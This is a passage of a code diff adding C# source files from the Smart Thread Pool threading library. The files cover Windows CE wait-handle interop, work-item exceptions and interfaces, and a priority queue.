}
}
}
#endregion
}
#endif

View File

@@ -0,0 +1,14 @@
namespace Amib.Threading.Internal
{
internal class CanceledWorkItemsGroup
{
public readonly static CanceledWorkItemsGroup NotCanceledWorkItemsGroup = new CanceledWorkItemsGroup();
public CanceledWorkItemsGroup()
{
IsCanceled = false;
}
public bool IsCanceled { get; set; }
}
}

View File

@@ -0,0 +1,104 @@
#if (_WINDOWS_CE)
using System;
using System.Runtime.InteropServices;
using System.Threading;
namespace Amib.Threading.Internal
{
/// <summary>
/// EventWaitHandle class
/// In WindowsCE this class doesn't exist and I needed the WaitAll and WaitAny implementation.
/// So I wrote this class to implement these two methods with some of their overloads.
/// It uses the WaitForMultipleObjects API to do the WaitAll and WaitAny.
/// Note that this class doesn't even inherit from WaitHandle!
/// </summary>
public class STPEventWaitHandle
{
#region Public Constants
public const int WaitTimeout = Timeout.Infinite;
#endregion
#region Private External Constants
private const Int32 WAIT_FAILED = -1;
private const Int32 WAIT_TIMEOUT = 0x102;
private const UInt32 INFINITE = 0xFFFFFFFF;
#endregion
#region WaitAll and WaitAny
internal static bool WaitOne(WaitHandle waitHandle, int millisecondsTimeout, bool exitContext)
{
return waitHandle.WaitOne(millisecondsTimeout, exitContext);
}
private static IntPtr[] PrepareNativeHandles(WaitHandle[] waitHandles)
{
IntPtr[] nativeHandles = new IntPtr[waitHandles.Length];
for (int i = 0; i < waitHandles.Length; i++)
{
nativeHandles[i] = waitHandles[i].Handle;
}
return nativeHandles;
}
public static bool WaitAll(WaitHandle[] waitHandles, int millisecondsTimeout, bool exitContext)
{
uint timeout = millisecondsTimeout < 0 ? INFINITE : (uint)millisecondsTimeout;
IntPtr[] nativeHandles = PrepareNativeHandles(waitHandles);
int result = WaitForMultipleObjects((uint)waitHandles.Length, nativeHandles, true, timeout);
if (result == WAIT_TIMEOUT || result == WAIT_FAILED)
{
return false;
}
return true;
}
public static int WaitAny(WaitHandle[] waitHandles, int millisecondsTimeout, bool exitContext)
{
uint timeout = millisecondsTimeout < 0 ? INFINITE : (uint)millisecondsTimeout;
IntPtr[] nativeHandles = PrepareNativeHandles(waitHandles);
int result = WaitForMultipleObjects((uint)waitHandles.Length, nativeHandles, false, timeout);
if (result >= 0 && result < waitHandles.Length)
{
return result;
}
return -1;
}
public static int WaitAny(WaitHandle[] waitHandles)
{
return WaitAny(waitHandles, Timeout.Infinite, false);
}
public static int WaitAny(WaitHandle[] waitHandles, TimeSpan timeout, bool exitContext)
{
int millisecondsTimeout = (int)timeout.TotalMilliseconds;
return WaitAny(waitHandles, millisecondsTimeout, false);
}
#endregion
#region External methods
[DllImport("coredll.dll", SetLastError = true)]
public static extern int WaitForMultipleObjects(uint nCount, IntPtr[] lpHandles, bool fWaitAll, uint dwMilliseconds);
#endregion
}
}
#endif

View File

@@ -0,0 +1,82 @@
using System.Threading;
#if (_WINDOWS_CE)
using System;
using System.Runtime.InteropServices;
#endif
namespace Amib.Threading.Internal
{
/// <summary>
/// EventWaitHandleFactory class.
/// This is a static class that creates AutoResetEvent and ManualResetEvent objects.
/// In WindowCE the WaitForMultipleObjects API fails to use the Handle property
/// of XxxResetEvent. It can use only handles that were created by the CreateEvent API.
/// Consequently this class creates the needed XxxResetEvent and replaces the handle if
/// it's a WindowsCE OS.
/// </summary>
public static class EventWaitHandleFactory
{
/// <summary>
/// Create a new AutoResetEvent object
/// </summary>
/// <returns>Return a new AutoResetEvent object</returns>
public static AutoResetEvent CreateAutoResetEvent()
{
AutoResetEvent waitHandle = new AutoResetEvent(false);
#if (_WINDOWS_CE)
ReplaceEventHandle(waitHandle, false, false);
#endif
return waitHandle;
}
/// <summary>
/// Create a new ManualResetEvent object
/// </summary>
/// <returns>Return a new ManualResetEvent object</returns>
public static ManualResetEvent CreateManualResetEvent(bool initialState)
{
ManualResetEvent waitHandle = new ManualResetEvent(initialState);
#if (_WINDOWS_CE)
ReplaceEventHandle(waitHandle, true, initialState);
#endif
return waitHandle;
}
#if (_WINDOWS_CE)
/// <summary>
/// Replace the event handle
/// </summary>
/// <param name="waitHandle">The WaitHandle object which its handle needs to be replaced.</param>
/// <param name="manualReset">Indicates if the event is a ManualResetEvent (true) or an AutoResetEvent (false)</param>
/// <param name="initialState">The initial state of the event</param>
private static void ReplaceEventHandle(WaitHandle waitHandle, bool manualReset, bool initialState)
{
// Store the old handle
IntPtr oldHandle = waitHandle.Handle;
// Create a new event
IntPtr newHandle = CreateEvent(IntPtr.Zero, manualReset, initialState, null);
// Replace the old event with the new event
waitHandle.Handle = newHandle;
// Close the old event
CloseHandle (oldHandle);
}
[DllImport("coredll.dll", SetLastError = true)]
public static extern IntPtr CreateEvent(IntPtr lpEventAttributes, bool bManualReset, bool bInitialState, string lpName);
//Handle
[DllImport("coredll.dll", SetLastError = true)]
public static extern bool CloseHandle(IntPtr hObject);
#endif
}
}

View File

@@ -0,0 +1,144 @@
using System;
#if !(_WINDOWS_CE)
using System.Runtime.Serialization;
#endif
namespace Amib.Threading
{
#region Exceptions
/// <summary>
/// Represents an exception in case IWorkItemResult.GetResult has been canceled
/// </summary>
public sealed partial class WorkItemCancelException : Exception
{
public WorkItemCancelException()
{
}
public WorkItemCancelException(string message)
: base(message)
{
}
public WorkItemCancelException(string message, Exception e)
: base(message, e)
{
}
}
/// <summary>
/// Represents an exception in case IWorkItemResult.GetResult has been timed out
/// </summary>
public sealed partial class WorkItemTimeoutException : Exception
{
public WorkItemTimeoutException()
{
}
public WorkItemTimeoutException(string message)
: base(message)
{
}
public WorkItemTimeoutException(string message, Exception e)
: base(message, e)
{
}
}
/// <summary>
/// Represents an exception in case IWorkItemResult.GetResult has been timed out
/// </summary>
public sealed partial class WorkItemResultException : Exception
{
public WorkItemResultException()
{
}
public WorkItemResultException(string message)
: base(message)
{
}
public WorkItemResultException(string message, Exception e)
: base(message, e)
{
}
}
/// <summary>
/// Represents an exception in case the STP queue is full and work item cannot be queued.
/// Relevant when the STP has a queue size limit
/// </summary>
public sealed partial class QueueRejectedException : Exception
{
public QueueRejectedException()
{
}
public QueueRejectedException(string message)
: base(message)
{
}
public QueueRejectedException(string message, Exception e)
: base(message, e)
{
}
}
#if !(_WINDOWS_CE) && !(_SILVERLIGHT) && !(WINDOWS_PHONE)
/// <summary>
/// Represents an exception in case IWorkItemResult.GetResult has been canceled
/// </summary>
[Serializable]
public sealed partial class WorkItemCancelException
{
public WorkItemCancelException(SerializationInfo si, StreamingContext sc)
: base(si, sc)
{
}
}
/// <summary>
/// Represents an exception in case IWorkItemResult.GetResult has been timed out
/// </summary>
[Serializable]
public sealed partial class WorkItemTimeoutException
{
public WorkItemTimeoutException(SerializationInfo si, StreamingContext sc)
: base(si, sc)
{
}
}
/// <summary>
/// Represents an exception in case IWorkItemResult.GetResult has been timed out
/// </summary>
[Serializable]
public sealed partial class WorkItemResultException
{
public WorkItemResultException(SerializationInfo si, StreamingContext sc)
: base(si, sc)
{
}
}
/// <summary>
/// Represents an exception in case IWorkItemResult.GetResult has been timed out
/// </summary>
[Serializable]
public sealed partial class QueueRejectedException
{
public QueueRejectedException(SerializationInfo si, StreamingContext sc)
: base(si, sc)
{
}
}
#endif
#endregion
}

View File

@@ -0,0 +1,603 @@
using System;
using System.Threading;
namespace Amib.Threading
{
#region Delegates
/// <summary>
/// A delegate that represents the method to run as the work item
/// </summary>
/// <param name="state">A state object for the method to run</param>
public delegate object WorkItemCallback(object state);
/// <summary>
/// A delegate to call after the WorkItemCallback completed
/// </summary>
/// <param name="wir">The work item result object</param>
public delegate void PostExecuteWorkItemCallback(IWorkItemResult wir);
/// <summary>
/// A delegate to call after the WorkItemCallback completed
/// </summary>
/// <param name="wir">The work item result object</param>
public delegate void PostExecuteWorkItemCallback<TResult>(IWorkItemResult<TResult> wir);
/// <summary>
/// A delegate to call when a WorkItemsGroup becomes idle
/// </summary>
/// <param name="workItemsGroup">A reference to the WorkItemsGroup that became idle</param>
public delegate void WorkItemsGroupIdleHandler(IWorkItemsGroup workItemsGroup);
/// <summary>
/// A delegate to call after a thread is created, but before
/// it's first use.
/// </summary>
public delegate void ThreadInitializationHandler();
/// <summary>
/// A delegate to call when a thread is about to exit, after
/// it is no longer belong to the pool.
/// </summary>
public delegate void ThreadTerminationHandler();
#endregion
#region WorkItem Priority
/// <summary>
/// Defines the availeable priorities of a work item.
/// The higher the priority a work item has, the sooner
/// it will be executed.
/// </summary>
public enum WorkItemPriority
{
Lowest,
BelowNormal,
Normal,
AboveNormal,
Highest,
}
#endregion
#region IWorkItemsGroup interface
/// <summary>
/// IWorkItemsGroup interface
/// Created by SmartThreadPool.CreateWorkItemsGroup()
/// </summary>
public interface IWorkItemsGroup
{
/// <summary>
/// Get/Set the name of the WorkItemsGroup
/// </summary>
string Name { get; set; }
/// <summary>
/// Get/Set the maximum number of workitem that execute cocurrency on the thread pool
/// </summary>
int Concurrency { get; set; }
/// <summary>
/// Get the number of work items waiting in the queue.
/// </summary>
int WaitingCallbacks { get; }
/// <summary>
/// Get the number of currently executing work items
/// </summary>
int InUseThreads { get; }
/// <summary>
/// Get an array with all the state objects of the currently running items.
/// The array represents a snap shot and impact performance.
/// </summary>
object[] GetStates();
/// <summary>
/// Get the WorkItemsGroup start information
/// </summary>
WIGStartInfo WIGStartInfo { get; }
/// <summary>
/// Starts to execute work items
/// </summary>
void Start();
/// <summary>
/// Cancel all the work items.
/// Same as Cancel(false)
/// </summary>
void Cancel();
/// <summary>
/// Cancel all work items using thread abortion
/// </summary>
/// <param name="abortExecution">True to stop work items by raising ThreadAbortException</param>
void Cancel(bool abortExecution);
/// <summary>
/// Wait for all work item to complete.
/// </summary>
void WaitForIdle();
/// <summary>
/// Wait for all work item to complete, until timeout expired
/// </summary>
/// <param name="timeout">How long to wait for the work items to complete</param>
/// <returns>Returns true if work items completed within the timeout, otherwise false.</returns>
bool WaitForIdle(TimeSpan timeout);
/// <summary>
/// Wait for all work item to complete, until timeout expired
/// </summary>
/// <param name="millisecondsTimeout">How long to wait for the work items to complete in milliseconds</param>
/// <returns>Returns true if work items completed within the timeout, otherwise false.</returns>
bool WaitForIdle(int millisecondsTimeout);
/// <summary>
/// IsIdle is true when there are no work items running or queued.
/// </summary>
bool IsIdle { get; }
/// <summary>
/// This event is fired when all work items are completed.
/// (When IsIdle changes to true)
/// This event only work on WorkItemsGroup. On SmartThreadPool
/// it throws the NotImplementedException.
/// </summary>
event WorkItemsGroupIdleHandler OnIdle;
#region QueueWorkItem
/// <summary>
/// Queue a work item
/// </summary>
/// <param name="callback">A callback to execute</param>
/// <returns>Returns a work item result</returns>
IWorkItemResult QueueWorkItem(WorkItemCallback callback);
/// <summary>
/// Queue a work item
/// </summary>
/// <param name="callback">A callback to execute</param>
/// <param name="workItemPriority">The priority of the work item</param>
/// <returns>Returns a work item result</returns>
IWorkItemResult QueueWorkItem(WorkItemCallback callback, WorkItemPriority workItemPriority);
/// <summary>
/// Queue a work item
/// </summary>
/// <param name="callback">A callback to execute</param>
/// <param name="state">
/// The context object of the work item. Used for passing arguments to the work item.
/// </param>
/// <returns>Returns a work item result</returns>
IWorkItemResult QueueWorkItem(WorkItemCallback callback, object state);
/// <summary>
/// Queue a work item
/// </summary>
/// <param name="callback">A callback to execute</param>
/// <param name="state">
/// The context object of the work item. Used for passing arguments to the work item.
/// </param>
/// <param name="workItemPriority">The work item priority</param>
/// <returns>Returns a work item result</returns>
IWorkItemResult QueueWorkItem(WorkItemCallback callback, object state, WorkItemPriority workItemPriority);
/// <summary>
/// Queue a work item
/// </summary>
/// <param name="callback">A callback to execute</param>
/// <param name="state">
/// The context object of the work item. Used for passing arguments to the work item.
/// </param>
/// <param name="postExecuteWorkItemCallback">
/// A delegate to call after the callback completion
/// </param>
/// <returns>Returns a work item result</returns>
IWorkItemResult QueueWorkItem(WorkItemCallback callback, object state, PostExecuteWorkItemCallback postExecuteWorkItemCallback);
/// <summary>
/// Queue a work item
/// </summary>
/// <param name="callback">A callback to execute</param>
/// <param name="state">
/// The context object of the work item. Used for passing arguments to the work item.
/// </param>
/// <param name="postExecuteWorkItemCallback">
/// A delegate to call after the callback completion
/// </param>
/// <param name="workItemPriority">The work item priority</param>
/// <returns>Returns a work item result</returns>
IWorkItemResult QueueWorkItem(WorkItemCallback callback, object state, PostExecuteWorkItemCallback postExecuteWorkItemCallback, WorkItemPriority workItemPriority);
/// <summary>
/// Queue a work item
/// </summary>
/// <param name="callback">A callback to execute</param>
/// <param name="state">
/// The context object of the work item. Used for passing arguments to the work item.
/// </param>
/// <param name="postExecuteWorkItemCallback">
/// A delegate to call after the callback completion
/// </param>
/// <param name="callToPostExecute">Indicates on which cases to call to the post execute callback</param>
/// <returns>Returns a work item result</returns>
IWorkItemResult QueueWorkItem(WorkItemCallback callback, object state, PostExecuteWorkItemCallback postExecuteWorkItemCallback, CallToPostExecute callToPostExecute);
/// <summary>
/// Queue a work item
/// </summary>
/// <param name="callback">A callback to execute</param>
/// <param name="state">
/// The context object of the work item. Used for passing arguments to the work item.
/// </param>
/// <param name="postExecuteWorkItemCallback">
/// A delegate to call after the callback completion
/// </param>
/// <param name="callToPostExecute">Indicates on which cases to call to the post execute callback</param>
/// <param name="workItemPriority">The work item priority</param>
/// <returns>Returns a work item result</returns>
IWorkItemResult QueueWorkItem(WorkItemCallback callback, object state, PostExecuteWorkItemCallback postExecuteWorkItemCallback, CallToPostExecute callToPostExecute, WorkItemPriority workItemPriority);
/// <summary>
/// Queue a work item
/// </summary>
/// <param name="workItemInfo">Work item info</param>
/// <param name="callback">A callback to execute</param>
/// <returns>Returns a work item result</returns>
IWorkItemResult QueueWorkItem(WorkItemInfo workItemInfo, WorkItemCallback callback);
/// <summary>
/// Queue a work item
/// </summary>
/// <param name="workItemInfo">Work item information</param>
/// <param name="callback">A callback to execute</param>
/// <param name="state">
/// The context object of the work item. Used for passing arguments to the work item.
/// </param>
/// <returns>Returns a work item result</returns>
IWorkItemResult QueueWorkItem(WorkItemInfo workItemInfo, WorkItemCallback callback, object state);
#endregion
#region QueueWorkItem(Action<...>)
/// <summary>
/// Queue a work item.
/// </summary>
/// <returns>Returns a IWorkItemResult object, but its GetResult() will always return null</returns>
IWorkItemResult QueueWorkItem(Action action, WorkItemPriority priority = SmartThreadPool.DefaultWorkItemPriority);
/// <summary>
/// Queue a work item.
/// </summary>
/// <returns>Returns a IWorkItemResult object, but its GetResult() will always return null</returns>
IWorkItemResult QueueWorkItem<T>(Action<T> action, T arg, WorkItemPriority priority = SmartThreadPool.DefaultWorkItemPriority);
/// <summary>
/// Queue a work item.
/// </summary>
/// <returns>Returns a IWorkItemResult object, but its GetResult() will always return null</returns>
IWorkItemResult QueueWorkItem<T1, T2>(Action<T1, T2> action, T1 arg1, T2 arg2, WorkItemPriority priority = SmartThreadPool.DefaultWorkItemPriority);
/// <summary>
/// Queue a work item.
/// </summary>
/// <returns>Returns a IWorkItemResult object, but its GetResult() will always return null</returns>
IWorkItemResult QueueWorkItem<T1, T2, T3>(Action<T1, T2, T3> action, T1 arg1, T2 arg2, T3 arg3, WorkItemPriority priority = SmartThreadPool.DefaultWorkItemPriority);
/// <summary>
/// Queue a work item.
/// </summary>
/// <returns>Returns a IWorkItemResult object, but its GetResult() will always return null</returns>
IWorkItemResult QueueWorkItem<T1, T2, T3, T4>(Action<T1, T2, T3, T4> action, T1 arg1, T2 arg2, T3 arg3, T4 arg4, WorkItemPriority priority = SmartThreadPool.DefaultWorkItemPriority);
#endregion
#region QueueWorkItem(Func<...>)
/// <summary>
/// Queue a work item.
/// </summary>
/// <returns>Returns a IWorkItemResult&lt;TResult&gt; object.
/// its GetResult() returns a TResult object</returns>
IWorkItemResult<TResult> QueueWorkItem<TResult>(Func<TResult> func, WorkItemPriority priority = SmartThreadPool.DefaultWorkItemPriority);
/// <summary>
/// Queue a work item.
/// </summary>
/// <returns>Returns a IWorkItemResult&lt;TResult&gt; object.
/// its GetResult() returns a TResult object</returns>
IWorkItemResult<TResult> QueueWorkItem<T, TResult>(Func<T, TResult> func, T arg, WorkItemPriority priority = SmartThreadPool.DefaultWorkItemPriority);
/// <summary>
/// Queue a work item.
/// </summary>
/// <returns>Returns a IWorkItemResult&lt;TResult&gt; object.
/// its GetResult() returns a TResult object</returns>
IWorkItemResult<TResult> QueueWorkItem<T1, T2, TResult>(Func<T1, T2, TResult> func, T1 arg1, T2 arg2, WorkItemPriority priority = SmartThreadPool.DefaultWorkItemPriority);
/// <summary>
/// Queue a work item.
/// </summary>
/// <returns>Returns a IWorkItemResult&lt;TResult&gt; object.
/// its GetResult() returns a TResult object</returns>
IWorkItemResult<TResult> QueueWorkItem<T1, T2, T3, TResult>(Func<T1, T2, T3, TResult> func, T1 arg1, T2 arg2, T3 arg3, WorkItemPriority priority = SmartThreadPool.DefaultWorkItemPriority);
/// <summary>
/// Queue a work item.
/// </summary>
/// <returns>Returns a IWorkItemResult&lt;TResult&gt; object.
/// its GetResult() returns a TResult object</returns>
IWorkItemResult<TResult> QueueWorkItem<T1, T2, T3, T4, TResult>(Func<T1, T2, T3, T4, TResult> func, T1 arg1, T2 arg2, T3 arg3, T4 arg4, WorkItemPriority priority = SmartThreadPool.DefaultWorkItemPriority);
#endregion
}
#endregion
#region CallToPostExecute enumerator
[Flags]
public enum CallToPostExecute
{
/// <summary>
/// Never call to the PostExecute call back
/// </summary>
Never = 0x00,
/// <summary>
/// Call to the PostExecute only when the work item is cancelled
/// </summary>
WhenWorkItemCanceled = 0x01,
/// <summary>
/// Call to the PostExecute only when the work item is not cancelled
/// </summary>
WhenWorkItemNotCanceled = 0x02,
/// <summary>
/// Always call to the PostExecute
/// </summary>
Always = WhenWorkItemCanceled | WhenWorkItemNotCanceled,
}
#endregion
#region IWorkItemResult interface
/// <summary>
/// The common interface of IWorkItemResult and IWorkItemResult&lt;T&gt;
/// </summary>
public interface IWaitableResult
{
/// <summary>
/// This method intent is for internal use.
/// </summary>
/// <returns></returns>
IWorkItemResult GetWorkItemResult();
/// <summary>
/// This method intent is for internal use.
/// </summary>
/// <returns></returns>
IWorkItemResult<TResult> GetWorkItemResultT<TResult>();
}
/// <summary>
/// IWorkItemResult interface.
/// Created when a WorkItemCallback work item is queued.
/// </summary>
public interface IWorkItemResult : IWorkItemResult<object>
{
}
/// <summary>
/// IWorkItemResult&lt;TResult&gt; interface.
/// Created when a Func&lt;TResult&gt; work item is queued.
/// </summary>
public interface IWorkItemResult<TResult> : IWaitableResult
{
/// <summary>
/// Get the result of the work item.
/// If the work item didn't run yet then the caller waits.
/// </summary>
/// <returns>The result of the work item</returns>
TResult GetResult();
/// <summary>
/// Get the result of the work item.
/// If the work item didn't run yet then the caller waits until timeout.
/// </summary>
/// <returns>The result of the work item</returns>
/// On timeout throws WorkItemTimeoutException
TResult GetResult(
int millisecondsTimeout,
bool exitContext);
/// <summary>
/// Get the result of the work item.
/// If the work item didn't run yet then the caller waits until timeout.
/// </summary>
/// <returns>The result of the work item</returns>
/// On timeout throws WorkItemTimeoutException
TResult GetResult(
TimeSpan timeout,
bool exitContext);
/// <summary>
/// Get the result of the work item.
/// If the work item didn't run yet then the caller waits until timeout or until the cancelWaitHandle is signaled.
/// </summary>
/// <param name="millisecondsTimeout">Timeout in milliseconds, or -1 for infinite</param>
/// <param name="exitContext">
/// true to exit the synchronization domain for the context before the wait (if in a synchronized context), and reacquire it; otherwise, false.
/// </param>
/// <param name="cancelWaitHandle">A cancel wait handle to interrupt the blocking if needed</param>
/// <returns>The result of the work item</returns>
/// On timeout throws WorkItemTimeoutException
/// On cancel throws WorkItemCancelException
TResult GetResult(
int millisecondsTimeout,
bool exitContext,
WaitHandle cancelWaitHandle);
/// <summary>
/// Get the result of the work item.
/// If the work item didn't run yet then the caller waits until timeout or until the cancelWaitHandle is signaled.
/// </summary>
/// <returns>The result of the work item</returns>
/// On timeout throws WorkItemTimeoutException
/// On cancel throws WorkItemCancelException
TResult GetResult(
TimeSpan timeout,
bool exitContext,
WaitHandle cancelWaitHandle);
/// <summary>
/// Get the result of the work item.
/// If the work item didn't run yet then the caller waits.
/// </summary>
/// <param name="e">Filled with the exception if one was thrown</param>
/// <returns>The result of the work item</returns>
TResult GetResult(out Exception e);
/// <summary>
/// Get the result of the work item.
/// If the work item didn't run yet then the caller waits until timeout.
/// </summary>
/// <param name="millisecondsTimeout"></param>
/// <param name="exitContext"></param>
/// <param name="e">Filled with the exception if one was thrown</param>
/// <returns>The result of the work item</returns>
/// On timeout throws WorkItemTimeoutException
TResult GetResult(
int millisecondsTimeout,
bool exitContext,
out Exception e);
/// <summary>
/// Get the result of the work item.
/// If the work item didn't run yet then the caller waits until timeout.
/// </summary>
/// <param name="exitContext"></param>
/// <param name="e">Filled with the exception if one was thrown</param>
/// <param name="timeout"></param>
/// <returns>The result of the work item</returns>
/// On timeout throws WorkItemTimeoutException
TResult GetResult(
TimeSpan timeout,
bool exitContext,
out Exception e);
/// <summary>
/// Get the result of the work item.
/// If the work item didn't run yet then the caller waits until timeout or until the cancelWaitHandle is signaled.
/// </summary>
/// <param name="millisecondsTimeout">Timeout in milliseconds, or -1 for infinite</param>
/// <param name="exitContext">
/// true to exit the synchronization domain for the context before the wait (if in a synchronized context), and reacquire it; otherwise, false.
/// </param>
/// <param name="cancelWaitHandle">A cancel wait handle to interrupt the blocking if needed</param>
/// <param name="e">Filled with the exception if one was thrown</param>
/// <returns>The result of the work item</returns>
/// On timeout throws WorkItemTimeoutException
/// On cancel throws WorkItemCancelException
TResult GetResult(
int millisecondsTimeout,
bool exitContext,
WaitHandle cancelWaitHandle,
out Exception e);
/// <summary>
/// Get the result of the work item.
/// If the work item didn't run yet then the caller waits until timeout or until the cancelWaitHandle is signaled.
/// </summary>
/// <returns>The result of the work item</returns>
/// <param name="cancelWaitHandle"></param>
/// <param name="e">Filled with the exception if one was thrown</param>
/// <param name="timeout"></param>
/// <param name="exitContext"></param>
/// On timeout throws WorkItemTimeoutException
/// On cancel throws WorkItemCancelException
TResult GetResult(
TimeSpan timeout,
bool exitContext,
WaitHandle cancelWaitHandle,
out Exception e);
/// <summary>
/// Gets an indication whether the asynchronous operation has completed.
/// </summary>
bool IsCompleted { get; }
/// <summary>
/// Gets an indication whether the asynchronous operation has been canceled.
/// </summary>
bool IsCanceled { get; }
/// <summary>
/// Gets the user-defined object that contains context data
/// for the work item method.
/// </summary>
object State { get; }
/// <summary>
/// Same as Cancel(false).
/// </summary>
bool Cancel();
/// <summary>
/// Cancel the work item execution.
/// If the work item is in the queue then it won't execute
/// If the work item is completed, it will remain completed
/// If the work item is in progress then the user can check the SmartThreadPool.IsWorkItemCanceled
/// property to check if the work item has been cancelled. If the abortExecution is set to true then
/// the Smart Thread Pool will send an AbortException to the running thread to stop the execution
/// of the work item. When an in progress work item is canceled its GetResult will throw WorkItemCancelException.
/// If the work item is already cancelled it will remain cancelled
/// </summary>
/// <param name="abortExecution">When true send an AbortException to the executing thread.</param>
/// <returns>Returns true if the work item was not completed, otherwise false.</returns>
bool Cancel(bool abortExecution);
/// <summary>
/// Get the work item's priority
/// </summary>
WorkItemPriority WorkItemPriority { get; }
/// <summary>
/// Return the result, same as GetResult()
/// </summary>
TResult Result { get; }
/// <summary>
/// Returns the exception if occured otherwise returns null.
/// </summary>
object Exception { get; }
}
#endregion
#region .NET 3.5
// All these delegate are built-in .NET 3.5
// Comment/Remove them when compiling to .NET 3.5 to avoid ambiguity.
public delegate void Action();
public delegate void Action<T1, T2>(T1 arg1, T2 arg2);
public delegate void Action<T1, T2, T3>(T1 arg1, T2 arg2, T3 arg3);
public delegate void Action<T1, T2, T3, T4>(T1 arg1, T2 arg2, T3 arg3, T4 arg4);
public delegate TResult Func<TResult>();
public delegate TResult Func<T, TResult>(T arg1);
public delegate TResult Func<T1, T2, TResult>(T1 arg1, T2 arg2);
public delegate TResult Func<T1, T2, T3, TResult>(T1 arg1, T2 arg2, T3 arg3);
public delegate TResult Func<T1, T2, T3, T4, TResult>(T1 arg1, T2 arg2, T3 arg3, T4 arg4);
#endregion
}

View File

@@ -0,0 +1,27 @@

namespace Amib.Threading.Internal
{
/// <summary>
/// An internal delegate to call when the WorkItem starts or completes
/// </summary>
internal delegate void WorkItemStateCallback(WorkItem workItem);
internal interface IInternalWorkItemResult
{
event WorkItemStateCallback OnWorkItemStarted;
event WorkItemStateCallback OnWorkItemCompleted;
}
internal interface IInternalWaitableResult
{
/// <summary>
/// This method is intent for internal use.
/// </summary>
IWorkItemResult GetWorkItemResult();
}
public interface IHasWorkItemPriority
{
WorkItemPriority WorkItemPriority { get; }
}
}

View File

@@ -0,0 +1,239 @@
using System;
using System.Collections;
using System.Collections.Generic;
using System.Diagnostics;
namespace Amib.Threading.Internal
{
#region PriorityQueue class
/// <summary>
/// PriorityQueue class
/// This class is not thread safe because we use external lock
/// </summary>
public sealed class PriorityQueue : IEnumerable
{
#region Private members
/// <summary>
/// The number of queues, there is one for each type of priority
/// </summary>
private const int _queuesCount = WorkItemPriority.Highest-WorkItemPriority.Lowest+1;
/// <summary>
/// Work items queues. There is one for each type of priority
/// </summary>
private readonly LinkedList<IHasWorkItemPriority>[] _queues = new LinkedList<IHasWorkItemPriority>[_queuesCount];
/// <summary>
/// The total number of work items within the queues
/// </summary>
private int _workItemsCount;
/// <summary>
/// Use with IEnumerable interface
/// </summary>
private int _version;
#endregion
#region Contructor
public PriorityQueue()
{
for(int i = 0; i < _queues.Length; ++i)
{
_queues[i] = new LinkedList<IHasWorkItemPriority>();
}
}
#endregion
#region Methods
/// <summary>
/// Enqueue a work item.
/// </summary>
/// <param name="workItem">A work item</param>
public void Enqueue(IHasWorkItemPriority workItem)
{
Debug.Assert(null != workItem);
int queueIndex = _queuesCount-(int)workItem.WorkItemPriority-1;
Debug.Assert(queueIndex >= 0);
Debug.Assert(queueIndex < _queuesCount);
_queues[queueIndex].AddLast(workItem);
++_workItemsCount;
++_version;
}
/// <summary>
/// Dequeque a work item.
/// </summary>
/// <returns>Returns the next work item</returns>
public IHasWorkItemPriority Dequeue()
{
IHasWorkItemPriority workItem = null;
if(_workItemsCount > 0)
{
int queueIndex = GetNextNonEmptyQueue(-1);
Debug.Assert(queueIndex >= 0);
workItem = _queues[queueIndex].First.Value;
_queues[queueIndex].RemoveFirst();
Debug.Assert(null != workItem);
--_workItemsCount;
++_version;
}
return workItem;
}
/// <summary>
/// Find the next non empty queue starting at queue queueIndex+1
/// </summary>
/// <param name="queueIndex">The index-1 to start from</param>
/// <returns>
/// The index of the next non empty queue or -1 if all the queues are empty
/// </returns>
private int GetNextNonEmptyQueue(int queueIndex)
{
for(int i = queueIndex+1; i < _queuesCount; ++i)
{
if(_queues[i].Count > 0)
{
return i;
}
}
return -1;
}
/// <summary>
/// The number of work items
/// </summary>
public int Count
{
get
{
return _workItemsCount;
}
}
/// <summary>
/// Clear all the work items
/// </summary>
public void Clear()
{
if (_workItemsCount > 0)
{
foreach(LinkedList<IHasWorkItemPriority> queue in _queues)
{
queue.Clear();
}
_workItemsCount = 0;
++_version;
}
}
#endregion
#region IEnumerable Members
/// <summary>
/// Returns an enumerator to iterate over the work items
/// </summary>
/// <returns>Returns an enumerator</returns>
public IEnumerator GetEnumerator()
{
return new PriorityQueueEnumerator(this);
}
#endregion
#region PriorityQueueEnumerator
/// <summary>
/// The class the implements the enumerator
/// </summary>
private class PriorityQueueEnumerator : IEnumerator
{
private readonly PriorityQueue _priorityQueue;
private int _version;
private int _queueIndex;
private IEnumerator _enumerator;
public PriorityQueueEnumerator(PriorityQueue priorityQueue)
{
_priorityQueue = priorityQueue;
_version = _priorityQueue._version;
_queueIndex = _priorityQueue.GetNextNonEmptyQueue(-1);
if (_queueIndex >= 0)
{
_enumerator = _priorityQueue._queues[_queueIndex].GetEnumerator();
}
else
{
_enumerator = null;
}
}
#region IEnumerator Members
public void Reset()
{
_version = _priorityQueue._version;
_queueIndex = _priorityQueue.GetNextNonEmptyQueue(-1);
if (_queueIndex >= 0)
{
_enumerator = _priorityQueue._queues[_queueIndex].GetEnumerator();
}
else
{
_enumerator = null;
}
}
public object Current
{
get
{
Debug.Assert(null != _enumerator);
return _enumerator.Current;
}
}
public bool MoveNext()
{
if (null == _enumerator)
{
return false;
}
if(_version != _priorityQueue._version)
{
throw new InvalidOperationException("The collection has been modified");
}
if (!_enumerator.MoveNext())
{
_queueIndex = _priorityQueue.GetNextNonEmptyQueue(_queueIndex);
if(-1 == _queueIndex)
{
return false;
}
_enumerator = _priorityQueue._queues[_queueIndex].GetEnumerator();
_enumerator.MoveNext();
return true;
}
return true;
}
#endregion
}
#endregion
}
#endregion
}

View File

@@ -0,0 +1,16 @@
#if _SILVERLIGHT
using System.Threading;
namespace Amib.Threading
{
public enum ThreadPriority
{
Lowest,
BelowNormal,
Normal,
AboveNormal,
Highest,
}
}
#endif

View File

@@ -0,0 +1,62 @@
#if !(_WINDOWS_CE)
using System;
using System.Threading;
namespace Amib.Threading.Internal
{
#if _SILVERLIGHT || WINDOWS_PHONE
internal static class STPEventWaitHandle
{
public const int WaitTimeout = Timeout.Infinite;
internal static bool WaitAll(WaitHandle[] waitHandles, int millisecondsTimeout, bool exitContext)
{
return WaitHandle.WaitAll(waitHandles, millisecondsTimeout);
}
internal static int WaitAny(WaitHandle[] waitHandles)
{
return WaitHandle.WaitAny(waitHandles);
}
internal static int WaitAny(WaitHandle[] waitHandles, int millisecondsTimeout, bool exitContext)
{
return WaitHandle.WaitAny(waitHandles, millisecondsTimeout);
}
internal static bool WaitOne(WaitHandle waitHandle, int millisecondsTimeout, bool exitContext)
{
return waitHandle.WaitOne(millisecondsTimeout);
}
}
#else
internal static class STPEventWaitHandle
{
public const int WaitTimeout = Timeout.Infinite;
